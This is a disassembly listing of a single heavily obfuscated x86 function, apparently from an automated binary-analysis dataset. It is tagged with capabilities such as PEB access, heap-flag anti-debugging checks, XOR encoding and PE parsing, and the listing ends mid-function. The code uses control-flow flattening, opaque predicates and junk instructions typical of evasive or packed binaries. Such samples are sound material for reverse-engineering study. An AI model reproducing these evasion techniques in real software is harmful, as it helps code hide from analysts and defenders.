Function at 0x401fd0
Capabilities:
Access peb ldr_data
Authenticate hmac
Check os version
Create thread
Encode data using base64
Encode data using xor
Get number of processors
Get process heap flags
Get process heap force flags
Hash data using murmur3
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x190
mov eax, dword [0x4b9440]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov eax, 0xee0709ce
jmp 0x402100
mov eax, dword [0x4ba77c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 0xc35f4cd0
mov esi, eax
and esi, 0x3ca0b32f
mov edi, eax
or edi, 0x118208
and eax, 0x748b9278
or edx, esi
and edi, 0x48538a29
mov esi, edx
xor edx, 0x8208
xor esi, 0x840c0
or edx, 0x48420821
and esi, 0x14a850c6
and edx, 0x48538a29
or esi, edx
mov edx, ecx
and edx, 0xa3042510
and ecx, 0x8b746d87
or edx, edi
or eax, ecx
xor edx, esi
mov esi, edx
not esi
and edx, 0x3977b085
and esi, 0xc6884f7a
or edx, esi
mov esi, edx
xor esi, 0x248a0248
xor edx, 0xd2319db5
mov edi, edx
and edi, 0x8b746d87
and esi, 0x748b9278
or esi, edi
xor eax, esi
mov esi, 0xe63a47f5
not eax
or eax, edx
xor eax, 0xffffffff
setne ah
sete ch
cmp dword [0x4ba778], 0xa
mov dh, ah
setge al
setl dl
xor dh, al
mov cl, al
and ah, dl
and al, ch
or dl, ch
or al, ah
mov ah, dl
or cl, ch
and dh, ch
xor al, 1
xor cl, 1
xor ah, al
or al, dl
or cl, dh
xor al, 1
mov edx, ecx
or al, ah
xor al, 1
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x4c6d051a
cmovne ecx, esi
test al, 1
mov eax, 0x4c6d051a
cmovne eax, ecx
test dl, 1
cmove eax, ecx
nop dword [eax]
cmp eax, 0xff28319a
jle 0x402170
cmp eax, 0x41c39611
jle 0x4021e0
cmp eax, 0x5fa0bf70
jle 0x4022be
cmp eax, 0x6ac4e659
jle 0x402f40
cmp eax, 0x7584f68a
jle 0x4037c7
cmp eax, 0x7a18ff75
jg 0x403f92
cmp eax, 0x7605ca8a
jle 0x40532a
cmp eax, 0x7605ca8b
je 0x407a51
cmp eax, 0x779cfbde
je 0x407a67
cmp eax, 0x77a42f07
jne 0x402100
mov eax, 0x872d5a9
jmp 0x402100
cmp eax, 0xc54b79c4
jg 0x402250
cmp eax, 0x9e7f049a
jg 0x40231c
cmp eax, 0x9031b24b
jg 0x403082
cmp eax, 0x88dd7d5c
jle 0x4038c5
cmp eax, 0x8ccc55b2
jg 0x40409f
cmp eax, 0x8b96bc74
jle 0x40534a
cmp eax, 0x8b96bc75
je 0x407a7a
cmp eax, 0x8bfe3645
je 0x407b7e
cmp eax, 0x8c132a71
jne 0x402100
mov eax, 0xf2fe5e76
jmp 0x402100
cmp eax, 0x1d4569c1
jg 0x402373
cmp eax, 0x90073b8
jg 0x4030ce
cmp eax, 0x45841aa
jle 0x403a79
cmp eax, 0x7dfde79
jg 0x404332
cmp eax, 0x5e165ee
jle 0x405376
cmp eax, 0x5e165ef
je 0x407b99
cmp eax, 0x6721335
je 0x407baf
cmp eax, 0x69df85b
jne 0x402100
mov eax, 0x87baaf0
jmp 0x402100
cmp eax, 0xe08bde1d
jg 0x4023ca
cmp eax, 0xd5789951
jg 0x403215
cmp eax, 0xcd80d6d8
jle 0x403ac2
cmp eax, 0xd099f830
jg 0x40442d
cmp eax, 0xcee232ca
jle 0x405471
cmp eax, 0xcee232cb
je 0x407c7d
cmp eax, 0xcf2437b5
je 0x407c87
cmp eax, 0xd08f4f5c
jne 0x402100
mov eax, dword [ebp - 0xd0]
mov dword [ebp - 0x134], eax
mov eax, 0x9582d104
jmp 0x402100
cmp eax, 0x4fea11b6
jg 0x403261
cmp eax, 0x49d69d6c
jle 0x403b16
cmp eax, 0x4db7d0f2
jg 0x404463
cmp eax, 0x4c589aed
jle 0x40549f
cmp eax, 0x4c589aee
je 0x407db0
cmp eax, 0x4c6d051a
je 0x407dba
cmp eax, 0x4caed698
jne 0x402100
mov eax, 0x5a122e8c
mov dword [ebp - 0x2c], 1
jmp 0x402100
cmp eax, 0xb35ab127
jg 0x40346b
cmp eax, 0xa9f6bfce
jle 0x403b70
cmp eax, 0xae5bd2fa
jg 0x404581
cmp eax, 0xaa7a43a8
jle 0x4054cb
cmp eax, 0xaa7a43a9
je 0x407f10
cmp eax, 0xaaf1e684
je 0x407f23
cmp eax, 0xabc03c99
jne 0x402100
mov eax, 0xcd80d6d9
jmp 0x402100
cmp eax, 0x31dffdb2
jg 0x4034b7
cmp eax, 0x285ec459
jle 0x403bb1
cmp eax, 0x2cab1873
jg 0x4045c6
cmp eax, 0x2a80443c
jle 0x40569b
cmp eax, 0x2a80443d
je 0x407f48
cmp eax, 0x2a901a6d
je 0x4080ab
cmp eax, 0x2b295f9f
jne 0x402100
mov eax, 0x4419304d
jmp 0x402100
cmp eax, 0xf185019f
jg 0x40366f
cmp eax, 0xea30ec1d
jle 0x403bfb
cmp eax, 0xefea8693
jg 0x40460e
cmp eax, 0xecf805a1
jle 0x4056bb
cmp eax, 0xecf805a2
je 0x4082bc
cmp eax, 0xed9dd231
je 0x4082cd
cmp eax, 0xee0709ce
jne 0x402100
push eax
mov eax, esp
mov dword [ebp - 0x64], eax
push eax
mov eax, esp
mov dword [ebp - 0x30], eax
sub esp, 0x78
mov eax, esp
mov dword [ebp - 0x68], eax
push eax
mov eax, esp
mov dword [ebp - 0x50], eax
sub esp, 8
mov eax, esp
mov dword [ebp - 0x6c], eax
push eax
mov eax, esp
mov dword [ebp - 0x70], eax
not edx
ror eax, 0x2d
add edi, 0xca
ror esi, 0xe2
ror eax, 0xda
rcr ebx, 0x6d
add esi, 0xf2
bswap edi
rol eax, 0xc
neg esi
dec eax
rol esi, 0x88
rcr esi, 0x60
inc edx
rol eax, 0x82
dec ebx
rol edx, 0x6e
rcr esi, 0x29
inc esi
bswap edx
not eax
mov edi, 0x26
rol esi, 0xdc
rcr eax, 0xf8
neg edi
or ebx, 0xf5
not eax
mov edx, 0x5e
dec eax
and ebx, 0x5a
dec edi
sub esi, 0x5d
bswap eax
rcl edx, 0x3e
add esi, 0xb5
inc edx
neg edx
ror eax, 0x67
dec edx
not ebx
and esi, 0x6a
add eax, 0x5e
neg ebx
sub esi, 0xdb
not esi
ror edx, 0x43
bswap esi
bswap edx
not eax
imul edx
rol eax, 0x1d
rol ebx, 0xb9
rcl eax, 0x15
add ebx, 0xb4
inc edx
dec edi
mov edx, 0x7a
sub edi, 0x84
sbb edi, 0xdd
neg ebx
neg edi
dec esi
imul edi
sub edx, 0x92
neg edi
rol esi, 0x15
dec esi
not esi
ror edx, 0xfd
imul ebx
inc ebx
rcr edx, 0xf0
imul ebx
neg edx
not eax
rcl edi, 0x2f
ror ebx, 0x6f
inc edx
and eax, 0x15
or edx, 0x87
not edx
inc esi
ror esi, 0xf0
not ebx
bswap edx
ror eax, 0x93
mov eax, 0x36
not esi
mov edi, 8
bswap esi
and ebx, 0xca
inc esi
rcl edx, 0xed
sub ebx, 0x20
add edi, 0xc4
mov ebx, 0x6c
rol edi, 0x8b
sbb ebx, 0xe7
sub ebx, 1
or edi, 0x4e
inc edi
dec eax
bswap ebx
inc edx
sbb edi, 0x3f
inc edi
not edi
sub edi, 0x43
sbb esi, 0x5e
ror eax, 0xf5
neg eax
not eax
not esi
not esi
sub esi, 0x73
rcl ebx, 0x79
sbb edi, 0x9e
imul edx
rcr edi, 0x2d
and esi, 7
rcr ebx, 0xf3
sub eax, 0x85
neg edx
bswap eax
sbb edi, 0x91
inc esi
imul edx
or edx, 0x1a
imul edx
imul edx
dec eax
mov edx, 0x1c
or esi, 0xe4
neg ebx
sub esi, 0xf4
rol edi, 0x7c
and ebx, 0x38
inc ebx
not edx
not edi
sub edx, 0x1f
and esi, 0x71
imul edi
bswap edx
rcl edi, 0x1a
dec edx
imul edi
imul esi
rcl eax, 0xe
dec eax
neg esi
not esi
rol esi, 0xa3
rcr ebx, 0xc2
bswap edx
inc eax
sbb eax, 0xc1
neg eax
add edx, 0x39
neg ebx
imul edx
not ebx
add esi, 0x7c
sub esi, 0x6f
imul esi
dec eax
rcr edx, 0x8f
or edi, 0xf5
rcr esi, 0x95
rol esi, 0x1f
neg eax
sbb eax, 0xe
bswap ebx
not edi
dec ebx
not esi
sub edx, 0xc9
imul edx
not ebx
neg esi
inc edi
neg eax
rcl ebx, 0xe9
imul edx
neg ebx
or edi, 0x2e
dec ebx
and ebx, 0xe
neg eax
mov edx, 0x9e
add esi, 0xa9
inc edi
sbb esi, 0xeb
ror edx, 0xaf
add edi, 0x1f
and esi, 0xd
neg eax
add ebx, 0x4b
and edx, 0xa5
inc edx
neg esi
add edi, 0x74
inc ebx
sbb esi, 0x23
and ebx, 0x7c
mov eax, 0x20
dec ebx
rol eax, 0xe0
imul esi
not edx
or esi, 0xb8
neg ebx
neg esi
add ebx, 0x3f
rcr ebx, 0x8d
sub esi, 0xb0
neg eax
sbb ebx, 0x19
rol ebx, 0x4b
sbb edx, 0x66
rol eax, 0x71
rol eax, 0xe0
sbb edi, 0x4d
inc esi
rol eax, 0x44
imul edi
neg edx
sbb edi, 0x7a
neg eax
ror edx, 0x8b
bswap eax
rcl edi, 0xde
imul esi
ror eax, 0xb9
bswap edx
and edx, 0xf5
not ebx
not ebx
not ebx
bswap edx
sbb edi, 0x71
imul eax
rcl esi, 0x15
sub edx, 0
dec edi
mov eax, 0xf4
rcl edi, 0xa3
neg eax
dec ebx
bswap esi
not edi
rcl esi, 4
and ebx, 0xc2
sub edi, 0xb0
inc ebx
neg eax
sub ebx, 0x77
dec ebx
rol ebx, 0xc9
not edi
dec edi
or eax, 0xc8
inc eax
bswap ebx
dec eax
and ebx, 0x7c
dec edi
rcl ebx, 0xfe
neg edx
neg edi
rcl edx, 0x52
mov esi, 0xec
rol esi, 0xf6
bswap esi
ror edi, 0x1d
mov esi, 0x36
add edi, 0xf4
bswap eax
and esi, 0xd1
add esi, 0x8e
rcl edx, 0x44
inc edx
inc ebx
rcr edi, 0xd0
or ebx, 0x51
inc edx
rcr edi, 0xcf
add esi, 5
rcr eax, 0xde
add edi, 0xb5
imul ebx
neg ebx
rcl edx, 0x56
bswap esi
neg edx
rcl edi, 0xbd
sbb edi, 0x91
and ebx, 0x7f
imul esi
or edx, 0x26
add eax, 0x94
bswap eax
imul edx
not eax
neg ebx
mov edi, 0x5e
rcl ebx, 0x4b
add edx, 0xfd
sub edi, 0xf5
not ebx
rol ebx, 0x6b
bswap eax
neg esi
dec edi
ror esi, 0x6a
dec eax
and eax, 0x69
ror ebx, 0xf6
bswap edx
rcl eax, 0x57
not edi
sub eax, 0xa5
rol esi, 0xad
neg ebx
imul eax
sub edx, 0x2a
inc ebx
inc esi
rcr eax, 0xac
not ebx
bswap edx
neg ebx
rcr edi, 0xa6
not edi
and edx, 0xc3
bswap edx
dec edx
ror eax, 0xad
or ebx, 0xbe
neg esi
add edx, 0xaf
sub edi, 0x4b
not edi
dec edx
add edi, 0xd7
dec ebx
dec edx
dec esi
and edi, 0x43
sbb eax, 0x97
not eax
inc edx
and ebx, 0x5f
add ebx, 0x24
not edi
sbb esi, 0x7f
dec esi
add edi, 0xcf
rcr eax, 0x23
and esi, 0xf4
ror edx, 0xca
sub eax, 0x64
inc edx
inc edx
not ebx
not eax
bswap eax
bswap eax
and esi, 0x7d
rol edx, 0xc7
sbb esi, 0x8e
rcl edi, 0xbd
or esi, 0xbb
neg ebx
neg ebx
rcr ebx, 0xfe
mov edx, 0x54
and esi, 0x4b
and esi, 0xd5
sub esi, 0xfa
neg esi
not ebx
add edi, 0xff
mov ebx, 0xae
mov eax, 0x33
sub edi, 0x40
rcl edi, 0xc8
ror eax, 0x59
and edi, 0x3e
neg ebx
rol edx, 0x49
inc esi
rcr ebx, 8
ror edx, 0x8a
neg ebx
neg ebx
imul edi
inc edx
inc edi
bswap esi
rcr edx, 0x34
dec esi
or esi, 0x50
neg edi
rcl ebx, 0x57
mov edi, 0x6b
dec esi
bswap edx
add edx, 0x24
sub eax, 0x5b
rcr edx, 0xf2
inc esi
or edx, 0xcd
neg edi
dec esi
add eax, 0x76
dec ebx
sub edx, 0x16
bswap ebx
rol edx, 0xa7
mov edx, 0x82
rcr eax, 0x13
mov edi, 0xaa
rol eax, 0x13
inc esi
imul ebx
rcr esi, 0x61
rol edx, 0x7d
bswap esi
ror ebx, 9
and esi, 0xfd
neg eax
not edi
mov edx, 0xab
rol eax, 0x2c
imul edi
imul esi
not ebx
not esi
rol edx, 0xb3
and ebx, 0x55
imul edx
not ebx
add edx, 0x16
or edi, 0x97
and esi, 0x5b
rol edx, 0x44
rol ebx, 0xeb
neg ebx
dec esi
not esi
not edx
sub eax, 0xac
inc esi
inc edx
not edi
rol edx, 0x14
sbb ebx, 0xc2
rol esi, 0x4f
rcr ebx, 0xef
neg esi
dec esi
mov edx, 0x4e
rcl esi, 0x2c
ror esi, 0x83
bswap ebx
imul edi
imul edx
dec edx
imul esi
neg ebx
and edx, 0xfb
rcl edx, 0xba
ror eax, 0xae
not esi
mov ebx, 0xd8
bswap edx
neg ebx
sub eax, 0x2e
rcl esi, 0xf2
not ebx
imul edi
rol esi, 0x5f
dec esi
dec edx
rol ebx, 0x4e
not edi
neg ebx
rcl ebx, 0x4e
rol edi, 0x84
not ebx
or edx, 0x15
dec esi
ror esi, 0x3f
imul edx
neg ebx
neg edi
imul eax
dec esi
rcl esi, 0x82
dec edi
and ebx, 0x35
rol esi, 0x1d
add edx, 0x82
mov ebx, 0xc8
bswap edx
mov ebx, 0x44
not edx
rol esi, 0x7e
not edi
imul edi
dec edi
bswap edi
dec edi
neg esi
add esi, 0x1c
sbb eax, 0x1d
rol edi, 0xbf
not esi
inc edx
not eax
imul ebx
inc ebx
bswap edx
imul edi
ror edi, 0x98
rcr esi, 0x28
neg ebx
inc edx
neg esi
rcr edi, 0x36
sbb edx, 0x71
imul esi
sub eax, 0xdb
imul esi
mov ebx, 0xf
mov edi, 0x8f
inc esi
bswap edx
ror edx, 0xd5
rol edx, 0x1e
and eax, 0xab
or ebx, 0x22
rol esi, 0xcc
mov edi, 0xff
imul ebx
not esi
dec edi
inc esi
bswap edi
not esi
add edx, 0x6d
dec ebx
or ebx, 0x35
add edx, 0x44
dec ebx
rcl edx, 0xb1
rcl esi, 0x67
imul edx
bswap edx
dec edi
inc edi
inc ebx
not esi
neg esi
mov ebx, 0x1f
sub esi, 0xc4
not eax
bswap eax
not esi
dec ebx
bswap eax
rol eax, 0x78
mov edi, 0x98
sub edi, 0x6a
dec edx
bswap eax
inc esi
ror esi, 0x53
mov ebx, 0xa2
add esi, 0xad
sbb eax, 0x27
neg edi
inc edx
imul ebx
dec edi
bswap esi
inc ebx
inc edx
sbb edx, 0x17
imul ebx
imul edi
bswap edi
add ebx, 0x3d
imul edi
ror esi, 0xab
ror esi, 0xed
neg edx
not ebx
dec edx
push 0x87400
push section..data
vzeroupper
call section..text
add esp, 8
rol edx, 0x19
dec esi
bswap eax
imul eax
add ebx, 0x3a
bswap eax
bswap edx
sbb edx, 0x79
bswap eax
neg ebx
imul esi
mov edx, 0x83
sub edi, 0xa5
sub esi, 0x51
rol edi, 0xa8
not edx
and edi, 0x2f
rcl ebx, 0x90
dec edx
and edx, 0x58
inc edi
not ebx
rcl edx, 0x35
not ebx
bswap esi
neg edx
mov esi, 0x18
neg eax
sbb eax, 0x78
and eax, 0x6c
and edx, 0x31
rcr ebx, 0xd3
bswap edx
imul eax
imul esi
rcl esi, 0xf7
imul esi
neg edx
imul edi
and ebx, 0x8e
sbb edx, 0xb0
dec ebx
ror edx, 0x48
sbb esi, 0x7f
mov esi, 0x66
imul esi
dec edx
rcl esi, 0xa9
inc edi
rcl esi, 0x91
mov esi, 0x1d
and ebx, 0x46
imul edi
not edx
or edx, 8
bswap eax
and ebx, 0xd8
rol ebx, 0xa8
inc eax
inc ebx
sub edi, 0xb5
sbb edx, 0x87
not edi
not edi
bswap ebx
inc ebx
neg edx
sbb ebx, 0x93
or edi, 0xce
sub ebx, 0x2a
sub ebx, 0xed
imul edx
not edx
not esi
bswap ebx
not edx
rol edx, 0x2d
dec ebx
rol eax, 0xe5
sbb ebx, 0xe0
rol eax, 8
mov ebx, 0x78
add ebx, 0xe9
imul eax
imul eax
add eax, 0xd5
sub edi, 0x40
imul edi
and ebx, 3
sub ebx, 0xd3
not eax
bswap esi
sub edx, 0xea
neg edx
sbb esi, 0x51
or esi, 0x3f
and esi, 0xdf
neg ebx
rcr edi, 0x99
rcr esi, 0x81
sub eax, 0x64
and ebx, 0xdf
dec edx
imul eax
rol esi, 0x2b
imul esi
inc esi
not esi
rcr edi, 0x55
ror ebx, 0x89
neg esi
neg edi
bswap edx
not ebx
rcl esi, 0x61
rcl edi, 0x5f
imul ebx
add esi, 0x8a
bswap esi
imul ebx
sub edi, 0x56
not eax
dec esi
not eax
or edi, 0x3f
neg edi
or eax, 0xd5
imul eax
bswap edi
bswap edx
inc ebx
not edx
inc esi
ror ebx, 0x6b
neg ebx
ror ebx, 0xf5
or edi, 0x4a
sbb edx, 0xd0
bswap esi
mov eax, 0xbe
not edi
or edx, 0x2c
ror eax, 0xb3
not ebx
rol edx, 0x30
and eax, 0xe5
add edi, 0x16
ror edx, 0x69
add edx, 0x8d
neg esi
and edi, 0x9c
inc edi
inc edx
neg ebx
dec eax
neg esi
not edx
imul edi
rol edi, 0x7c
imul ebx
neg eax
bswap eax
not edx
neg esi
inc ebx
imul esi
or esi, 0xea
ror edi, 0xd7
neg esi
bswap edx
dec edx
mov edi, 0xf4
and edx, 0xdb
add ebx, 0xa8
inc ebx
sbb esi, 0x50
rol esi, 0x36
mov ebx, 0x35
neg edi
not ebx
imul eax
sub edx, 0xa6
not edi
rol edi, 0xba
imul edx
and esi, 0x33
not eax
ror edi, 0x65
neg edx
neg esi
rcl esi, 0x5f
imul esi
not edi
rcl esi, 0x65
imul eax
add edi, 0x10
add ebx, 0x2b
not esi
ror ebx, 0x18
bswap esi
sub edi, 0xc1
neg edi
neg ebx
mov eax, 0x99
imul eax
ror edx, 4
dec ebx
or ebx, 0x21
neg edi
bswap ebx
neg eax
rcl eax, 0x23
or esi, 0xae
bswap edx
sbb edx, 0xef
and ebx, 0x6a
mov eax, 8
or esi, 0xa6
rcr ebx, 0xc8
inc edi
imul edi
dec ebx
not edi
not edi
rcr edi, 0x4f
rcr ebx, 0x6e
imul edx
bswap ebx
sub esi, 0xf
sbb ebx, 0xcc
mov edi, 2
rcr esi, 0x8f
bswap edx
neg ebx
not ebx
imul edx
imul ebx
sbb esi, 0x92
rol eax, 0x3f
mov edi, 0x5d
not edx
neg edi
rcr eax, 0x72
inc eax
bswap ebx
bswap ebx
not ebx
rol esi, 0x81
ror esi, 3
dec esi
rcr edx, 0xd2
dec edi
and edi, 0xbe
rol edx, 0xa8
neg edx
mov esi, 0xab
imul esi
imul edi
dec edi
sub edi, 0xdd
sub ebx, 0x45
add ebx, 0x54
rol edi, 0x33
rcr ebx, 0x2c
imul edx
not esi
and edi, 0xdb
sbb edi, 0x94
rol edi, 0x89
rol edx, 0x67
inc edx
sub edi, 0xe6
not edi
imul edi
imul edx
not ebx
rcl edi, 0xd3
imul edi
neg edi
rcr edi, 0x60
neg edx
imul eax
sbb edi, 0xb3
not eax
or edx, 0x1c
and esi, 0x9f
not ebx
sub eax, 0x6d
sub eax, 0x79
rcr edx, 0xd8
inc ebx
imul edi
inc ebx
dec eax
neg ebx
neg esi
ror edx, 0x52
neg edx
not esi
ror esi, 0x3d
mov edi, 0xee
neg esi
mov esi, 0xec
rol esi, 0x5b
dec esi
and eax, 0xd3
and edi, 0xb1
dec esi
dec edx
not edx
and edx, 0x5d
add eax, 0xf3
neg edx
bswap eax
add edi, 0xcc
mov eax, 0xec
not edx
bswap edx
neg ebx
sbb esi, 0
rol ebx, 0xd9
neg ebx
not esi
or ebx, 0xa2
not esi
not edi
sub edi, 0x9a
dec edx
mov esi, 0x49
imul edi
bswap edx
rol esi, 0x89
add ebx, 0xf2
sbb edx, 0x33
dec eax
bswap edi
bswap eax
imul esi
imul esi
or edi, 0x31
mov eax, 0x1d
neg ebx
neg edx
imul eax
imul esi
inc edx
not esi
rcr edi, 0x3e
neg edi
rol ebx, 0xca
bswap ebx
rcr esi, 0xac
mov edi, 0x4d
imul ebx
dec edi
bswap ebx
ror edx, 0xac
sbb edx, 0x50
inc ebx
inc eax
bswap ebx
dec ebx
and edx, 0xdd
ror edi, 0xa8
dec edi
rcr eax, 0x97
inc eax
neg edx
dec edx
imul edi
or eax, 0x4c
mov edi, 0x79
not edx
neg edx
rcl eax, 0xbe
inc esi
and edi, 0x4c
neg ebx
mov esi, 0x88
bswap eax
rcr ebx, 0xce
and ebx, 0xdd
mov esi, 0xcd
not esi
ror edx, 0x1f
add edi, 9
sbb esi, 0x1e
not edi
mov edi, 0x9b
imul eax
not ebx
mov edi, 0xde
not ebx
bswap esi
add ebx, 0xc2
ror edx, 0xd9
not ebx
sub ebx, 0xb1
inc ebx
rcr esi, 0xca
mov dword [ebp - 0x2c], eax
mov eax, dword [0x43203c]
mov dword [ebp - 0xdc], 0x432000
mov dword [ebp - 0xe0], eax
mov eax, 0xecec569
jmp 0x402100
cmp eax, 0x6423f2b7
jle 0x403c3c
cmp eax, 0x69427665
jg 0x404644
cmp eax, 0x65d387b4
jle 0x4056db
cmp eax, 0x65d387b5
je 0x4082e1
cmp eax, 0x6717d626
je 0x408305
cmp eax, 0x67e3423a
jne 0x402100
mov ecx, dword [0x4ba77c]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
or ecx, 0x411a1d44
mov esi, edx
mov edi, edx
or esi, 0x3060008a
and ecx, 0x717a1dce
and edi, 0x884a200
and edx, 0x65077538
or edi, ecx
mov ecx, eax
and esi, 0x717a1dce
and ecx, 0x86014031
and eax, 0x9af88ac7
or ecx, esi
or eax, edx
xor ecx, edi
mov esi, ecx
not esi
and ecx, 0x53b4425e
and esi, 0xac4bbda1
or ecx, esi
mov esi, 0xf0fbeb0e
mov edi, ecx
xor ecx, 0x900e0b02
xor edi, 0x6b50e0d5
mov edx, edi
and edx, 0x45a174e8
and ecx, 0xba5e8b17
or ecx, edx
mov edx, eax
xor edx, 0x9a588a07
xor eax, 0x65077538
or edi, eax
and eax, 0x45a174e8
and edx, 0xba5e8b17
or edx, eax
not edi
xor edx, ecx
or edi, edx
xor edi, 0xffffffff
mov edi, 0x36e4a9b5
sete dl
setne cl
cmp dword [0x4ba778], 0xa
setge ah
mov al, ah
xor al, cl
or cl, ah
or ah, dl
and al, dl
xor al, 1
mov edx, eax
or al, ah
xor dl, ah
xor al, 1
or al, dl
mov edx, eax
and al, cl
xor cl, 1
xor dl, 1
mov ch, cl
xor ch, dl
and dl, cl
and ch, cl
or dl, al
mov al, ch
xor al, dl
cmovne esi, edi
test dl, dl
mov eax, esi
cmovne eax, edi
test ch, ch
cmove eax, esi
jmp 0x402100
cmp eax, 0x981872e2
jle 0x403c89
cmp eax, 0x9b300efd
jg 0x404781
cmp eax, 0x99b96422
jle 0x4056fb
cmp eax, 0x99b96423
je 0x40830f
cmp eax, 0x9a9aeb78
je 0x408321
cmp eax, 0x9aa16053
jne 0x402100
mov eax, 0xbcb07bbd
jmp 0x402100
cmp eax, 0x13f5422c
jle 0x403cca
cmp eax, 0x18c11312
jg 0x4047c0
cmp eax, 0x1586b5e4
jle 0x40571b
cmp eax, 0x1586b5e5
je 0x408421
cmp eax, 0x166a6382
je 0x40843b
cmp eax, 0x17aa29d6
jne 0x402100
mov eax, dword [0x4ba77c]
mov edi, 0xcee232cb
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
andn ecx, edx, edx
not edx
and eax, 0x61e9066e
and edx, 0x9e16f991
or eax, edx
mov edx, eax
xor edx, 0x40c1006e
xor eax, 0x9e16f991
mov esi, eax
and esi, 0xb3283711
and edx, 0x4cd7c8ee
or edx, esi
mov esi, ecx
not esi
and ecx, 0x4cd7c8ee
or eax, esi
and esi, 0xb3283711
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov edx, eax
xor edx, 1
mov ecx, eax
not ecx
and edx, eax
and ecx, 0x63df1928
and eax, 0x9c20e6d7
or eax, ecx
mov ecx, edx
not ecx
and edx, 0x531b130c
mov esi, ecx
and esi, 0xace4ecf3
or edx, esi
mov esi, eax
xor esi, 0x10000204
xor eax, 0x63df1929
or ecx, eax
and eax, 0xace4ecf3
and esi, 0x531b130c
or esi, eax
not ecx
xor esi, edx
or ecx, esi
mov esi, 0x75e72dbc
mov edx, ecx
not edx
mov eax, ecx
and eax, 0x1f9479ba
andn ecx, ecx, ecx
and edx, 0xe06b8645
or eax, edx
xor eax, 0x1f9479ba
or ecx, eax
sete al
cmp dword [0x4ba778], 0xa
setge cl
xor cl, al
and al, cl
xor al, 1
mov edx, eax
xor al, cl
or dl, cl
mov ch, al
xor ch, dl
test al, al
mov eax, 0xcee232cb
cmovne eax, esi
test dl, dl
cmovne eax, edi
test ch, ch
cmove eax, esi
jmp 0x402100
cmp eax, 0xdad96685
jle 0x403d12
cmp eax, 0xdd90b118
jg 0x4047f6
cmp eax, 0xdc25921c
jle 0x405769
cmp eax, 0xdc25921d
je 0x40844c
cmp eax, 0xdc290553
je 0x40858b
cmp eax, 0xdc2a89fa
jne 0x402100
mov eax, 0xf06f0b6c
jmp 0x402100
cmp eax, 0x58a2b2db
jle 0x403d5f
cmp eax, 0x5b732ecd
jg 0x40483c
cmp eax, 0x596ef9e0
jle 0x405789
cmp eax, 0x596ef9e1
je 0x408595
cmp eax, 0x5a122e8c
je 0x408662
cmp eax, 0x5b45e3d1
jne 0x402100
bswap ebx
bswap edx
and edi, 0x97
bswap edi
or edi, 0x6c
rol edi, 0x1b
not edx
neg esi
sbb edi, 0x8d
bswap eax
sub edi, 0x45
dec esi
sub edx, 0xc9
inc ebx
not esi
and esi, 0x62
and ebx, 4
or esi, 0xa3
mov edi, 4
mov ebx, 0x94
sub edi, 0x17
dec edi
sbb esi, 0x79
bswap edx
dec ebx
mov eax, 0x63
imul edx
and eax, 0x16
neg eax
add esi, 0x7d
rcl esi, 0x89
inc ebx
or esi, 0xf2
neg edx
not edx
rcl edi, 0xb
inc edx
and esi, 0xb9
neg eax
add esi, 0x17
dec eax
sub ebx, 0x23
bswap edi
inc edi
ror eax, 0x18
and ebx, 0xfe
sub ebx, 0x42
sbb eax, 0xd1
not edi
bswap eax
not eax
bswap edx
rol edx, 0xcd
not edx
ror ebx, 0xd3
mov eax, 0x94
sbb eax, 0x2e
dec edx
rol edx, 0xb7
neg edx
imul edx
sbb esi, 0x57
not edx
imul edx
imul eax
neg edi
not eax
rol esi, 0xb1
sub esi, 0xbb
rcr edx, 1
sub edi, 0xb2
sub ebx, 0xc0
mov edi, 0x11
dec edi
rol esi, 0x5c
mov edx, 0xa9
and eax, 0x67
rcr ebx, 0x8d
inc eax
ror edi, 0x53
imul edx
imul ebx
and esi, 0x7e
ror esi, 0x2c
rcl ebx, 0xaf
sbb eax, 0x6b
sub esi, 0xe9
neg esi
ror edx, 0xfe
rcl ebx, 0x7d
or edi, 0xfe
dec edi
mov edx, 0x67
mov eax, 0xc7
and eax, 0x73
rcr edx, 0x70
inc edi
imul edx
inc ebx
sbb ebx, 0x8e
rcr esi, 0x23
neg esi
rcl edi, 0x4b
sub ebx, 0x68
rol esi, 0x2c
neg edx
bswap ebx
ror ebx, 0x11
bswap eax
rcr esi, 0xc5
bswap esi
imul eax
mov edi, 0x49
neg edi
imul edx
or ebx, 0xcf
imul edx
or eax, 0x9a
neg esi
bswap edi
imul ebx
imul edi
mov esi, 0xe5
dec edi
rol ebx, 0xcf
or edi, 0xe0
not edi
bswap edi
mov edi, 0xe4
bswap edx
or eax, 0xe5
bswap eax
imul edi
rcr ebx, 3
sbb edi, 0x58
mov edi, 0xa2
ror edi, 0xf6
bswap edx
add ebx, 0xb1
sbb edx, 0x34
bswap edi
rcr edx, 0xf1
bswap edi
not ebx
rol edi, 0xca
bswap esi
inc ebx
or ebx, 0xe1
imul edx
neg eax
mov dword [ebp - 0x2c], eax
mov eax, 0x755ab286
jmp 0x402100
cmp eax, 0xbba8f8fa
jle 0x403da0
cmp eax, 0xc0989688
jg 0x404a2e
cmp eax, 0xbcb07bbc
jle 0x405906
cmp eax, 0xbcb07bbd
je 0x4087e8
cmp eax, 0xbe864e16
je 0x40898d
cmp eax, 0xbef8819e
jne 0x402100
mov eax, 0xf7d2b0fe
jmp 0x402100
cmp eax, 0x368ac2bb
jle 0x403de1
cmp eax, 0x3bab40d7
jg 0x404a64
cmp eax, 0x38311d99
jle 0x4059e3
cmp eax, 0x38311d9a
je 0x4089a0
cmp eax, 0x38b7ae1f
je 0x4089b6
cmp eax, 0x39c07107
jne 0x402100
mov ecx, dword [0x4ba77c]
lea eax, [ecx + 1]
imul eax, ecx
andn ecx, eax, eax
mov edx, eax
not edx
mov edi, eax
and edi, 0xa6f272bc
mov esi, ecx
not esi
and edx, 0x590d8d43
and ecx, 0x590d8d43
or eax, esi
and esi, 0xa6f272bc
or edx, edi
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov edi, eax
xor edi, 0x9c14513b
andn edx, eax, edi
and edi, eax
mov ecx, edx
not ecx
and edx, 0xe2185943
mov esi, ecx
and esi, 0x1de7a6bc
or edx, esi
mov esi, edi
not esi
and edi, 0xe2185943
or ecx, esi
and esi, 0x1de7a6bc
or edi, esi
not ecx
xor edi, edx
